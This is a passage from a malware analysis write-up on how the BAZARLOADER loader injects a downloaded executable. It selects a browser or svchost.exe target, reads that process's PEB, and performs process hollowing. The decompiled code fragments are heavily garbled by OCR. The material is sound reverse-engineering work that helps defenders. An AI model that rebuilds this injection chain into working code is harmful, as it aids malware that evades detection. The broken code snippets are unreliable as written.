
PVOID browser_environment_struct;

STARTUPINFOA thread_startup_info;

LPPROC_THREAD_ATTRIBUTE_LIST proc_thread_attr_list;
¥

First, it checks if its process is elevated with admin privileges. It calls GetCurrentProcess and OpenProcessToken to retrieve its own process
token handle and GetTokenInformation to get the token’s elevation information.
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inte4 is process elevated()
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

lib_struct kernel32 ->1ib_struct_kernel32;

lib struct advapi32 1B CT_ARR->1lib struct advapi32;

proc_token[@] =

token_elevation.TokenIsElevated

ve = 4;

curr_proc_handle lib struct kernel32);

result = w_ (lib struct advapi32, curr_proc_handle, » proc_token);
( result )

result : F (

5 >1ib_struct_advapiz2,
proc_token[d],
TokenElevation,
&token_elevation,

3

&v6
dle ->1ib _struct_kernel32, proc_token[@]);
result )
token_elevation.TokenIsElevated;

result;

If the process is not elevated, it resolves the following processes’ names and tries to populate the injection structure’s fields.

chrome.exe
firefox.exe
msedge.exe

er_proc_ID);
* proc_ID 1;

er_proc_ID_1;
( I ->1ib_struct_kernel32,

4 bit_proc = 0;
( ->1ib_struct_kernel32, br¢
bit _proc

and_line = b ) h le proc_params

»_proc_handle);

For each process name, the malware enumerates the process’s snapshot to retrieve its ID and calls OpenProcess to get its handle.

To populate the full_exec_command and thread_curr_directory fields which contain the process’s command line and full path,
BAZARLOADER first extracts the process parameters from the Process Environment Block (PEB).

To access the PEB, the malware calls NtQueryInformationProcess to retrieve the PEB’s adress and calls ReadProcessMemory to read the
PEB into memory.
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BoOL8 _ fastcall read process PEB(__int64 ProcessHandle, int output)

// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXP ]

essHandle 1 = ProcessHandle;
v6) = 5
(
CT_ARR->1ib_struct_rpcrt4,
andle,
icInformation,
ocess_basic_info,

result = H
( InformationProc

>1ib_struct_kernel32,
k)
process basic_info.PebBaseAddress,
output,

result;

Next, it calls ReadProcessMemory to read the process parameters from the process’s memory.
BooL8 _ fastcall read process user proc params(_ inté4 process handle, int a2)

int process handle 1; // ri2d
L8 result; // rax

5 // [rsp+38h] [rbp-2D8h] OVERLAPPED BYREF

.AppCompatInfo) = a2;
process_handle 1 = process_handle;
result = p ~ocess_handle, &
( result

.ProcessParameters,
.AppCompatInfo,

With the process parameter RTL_USER_PROCESS_PARAMETERS structure, BAZARLOADER reads the process’s command line and full
path to populate the injection structure.

handle, & 64_bit _p

arams.CommandLine)) ==

arams.CurrentDirectory.DosPath)

Similarly, it also uses the process parameter to access the browser’s environment block and writes it to the injection structure.

i}
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s s(process_handle, &process parameters)
(dwByte orocess_parameters.EnvironmentSize),
v7 = GetPr ap
heap buffer apAllo , dwBytes),
(heap_buffer_1 = heap buffer) = ) )

ProcessMemory = w_

LT CT_ARR->1ib_struct_kernel32,

2

process_parameters.Environment,

he buffer,

(process parameters.EnvironmentSize),

)s

( ProcessMemory )

Environmentsize low = L (process_parameters.EnvironmentSize);
*output = heap buffer_
ProcessMemory = 1;

*a3 = EnvironmentSize low;

ProcessHeap = P p();

HeapFree(ProcessHeap, @, heap buffer_1);

->1ib_struct_kernel32, lpAttributelList,

(1lib_struct_k
_proc_handle = b
e_thread attr list
_exec_command = pr
truct->thread_curr_directory =
_struct->browser_environment_struct

injection_struct->thread_startup_info.cb
If BAZARLOADER has admin privilege, instead of a browser’s process, it tries to populate the injection structure with a svchost.exe process
from the following command line.

\\system32\\svchost.exe -k unistackSvcGroup

Next, using the injection struct, the malware calls CreateProcessA to create the target process in the suspended state to perform process
hollowing.
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( injection_struct.full exec_ command )

p_proc_info_struct = &proc_info_struct;
V3L = 5

browser_environment block = injection_struct.browser environment struct;
( v35 )

L (p_proc_info_struct->hProcess) = 9;
p_proc_info_struct = (p_proc_info_struct +

=35

command line to execute,

downloaded executable,

downloaded executable size,

browser_environment_block,

injection_struct.thread_curr_directory,

&injection struct.thread startup info,

&proc_info struct);
up(&injection_struct.browser proc_handle);

11 r j to launch

lpstart
INF(

We won'’t dive too deep into this process hollowing implementation, since it's almost the exact same implementation as seen here.

We can quickly spot that process hollowing is taking place through the Windows APlIs being called. NtUnmapViewOfSection is called to
unmap and carve out the parent’'s memory. VirtualAllocEx and WriteProcessMemory are then called to allocate virtual memory in the
parent’s process and write the malicious payload into it.
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-»lib_struct_rpcrt4, parent_p >s_info->hProcess, parent_proc

»1lib_struct_kerne
->hProcess,

nt_j

mal_nt_h ionalHeader. ImageB
mal_im

OfHeaders,

We can also see that the malware iterates through the parent’s section header to find the “.reloc” section and performs relocation on the
injected image in memory.

reloc

.DataDirectory[5].Size;

block entry count oc_block off + ((p b ._header-»Size0fBlock - 2) & );

Finally, BAZARLOADER calls SetThreadContext to set the new entry point for the parent process and calls ResumeThread to resume the
parent’s process again, which will execute the injected executable.
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hThread = parent_process_info—hThread;

AddressOfEntryPoint = mal_nt_headers—OptionalHeader.AddressOfEntryPoint;
thread_context.ContextFlags = @ 2
parent_process_base_2 = parent_process_base;

ontext(LIB_STRUCT_ARR—Lib_struct_kernel32, hThread) == @;

goto LABEL_32;
parent_thread_handle = parent_process_info—hThread;
vl = LIB_STRUCT_ARR—lib_struct_kernel32;
thread_context.Rcx = AddressOfEntryPoint + parent_process_base_2;
v = w dContext(vll, parent_thread_handle, &thread_context) == 0;
v7 = LIB_STRUCT_ARR;
if ( ve )
goto LABEL_
if ( w_ResumeThread(LIB_STRUCT_ARR—Llib_struct_kernel32, parent_process_info—hThread) )
return 1;
And with that, we have analyzed how BAZARLOADER downloads a remote executable and executes it using process hollowing! If you have
any questions regarding the analysis, feel free to reach out to me via Twitter.
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